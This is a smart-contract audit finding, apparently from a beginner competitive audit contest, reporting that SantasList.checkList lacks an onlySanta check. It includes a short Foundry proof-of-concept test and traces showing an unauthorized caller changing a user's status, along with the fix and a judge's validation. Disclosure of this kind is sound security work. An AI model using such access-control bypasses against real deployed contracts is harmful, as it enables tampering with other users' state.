Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

`SantaList.checklist` is permissionless

Summary

SantaList.checklist can be called by anyone.

Vulnerability Details

The comment states that checkList() is only callable by santa. But there are no checks to prevent others from calling this function. This means anyone can change s_theListCheckedOnce.

Impact

Prevent the second checkList checkTwice from passing. Also prevent user from collecting presents by changing s_theListCheckedOnce.

Test:

function testHackCheckList() public {
vm.prank(user);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
assertEq(uint256(santasList.getNaughtyOrNiceOnce(user)), uint256(SantasList.Status.EXTRA_NICE));
}

Traces

[35868] SantasListTest::testHackCheckList()
├─ [0] VM::prank(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D])
│ └─ ← ()
├─ [24111] SantasList::checkList(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], 1)
│ ├─ emit CheckedOnce(person: user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D], status: 1)
│ └─ ← ()
├─ [690] SantasList::getNaughtyOrNiceOnce(user: [0x6CA6d1e2D5347Bfab1d91e883F1915560e09129D]) [staticcall]
│ └─ ← 1
└─ ← ()

Tools Used

Manual review, Foundry

Recommendations

Add onlySanta modifier to function.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Access Control on checkList()

Anyone is able to call checkList() changing the status of a provided address. This is not intended functionality and is meant to be callable by only Santa.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.